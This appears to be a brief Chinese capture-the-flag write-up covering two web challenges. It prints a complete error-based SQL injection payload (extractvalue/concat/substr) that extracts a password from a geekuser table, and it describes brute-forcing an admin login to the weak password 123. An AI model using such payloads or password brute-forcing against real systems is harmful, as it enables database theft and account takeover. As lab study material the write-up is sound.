极客大挑战easysql
使用报错注入
最后的flag太长,无法显示全,用substr()分成两部分即可
payload:
check.php?username=1’and%20(extractvalue(1,concat(’~’,(select%20substr(password,25,50)%20from%20geekuser%20limit%203,1))))%23and%231%23
[HCTF 2018]admin
查看源代码,发现提示“你不是admin”,接着尝试注册admin的账号显示账号已存在。
然后对admin密码进行爆破,会出现三种状态码,123的状态码最特殊,尝试登入成功获得flag
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200527091500979.png)![在这里插入图片描述](https://img-blog.csdnimg.cn/20200527091510515.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ZyZWVyYXRz,size_16,color_FFFFFF,t_70)
按照经验来说这种能爆破出来的弱密码不多,但遇到密码还是习惯性的爆破一下,万一出来了呢,没出来也不亏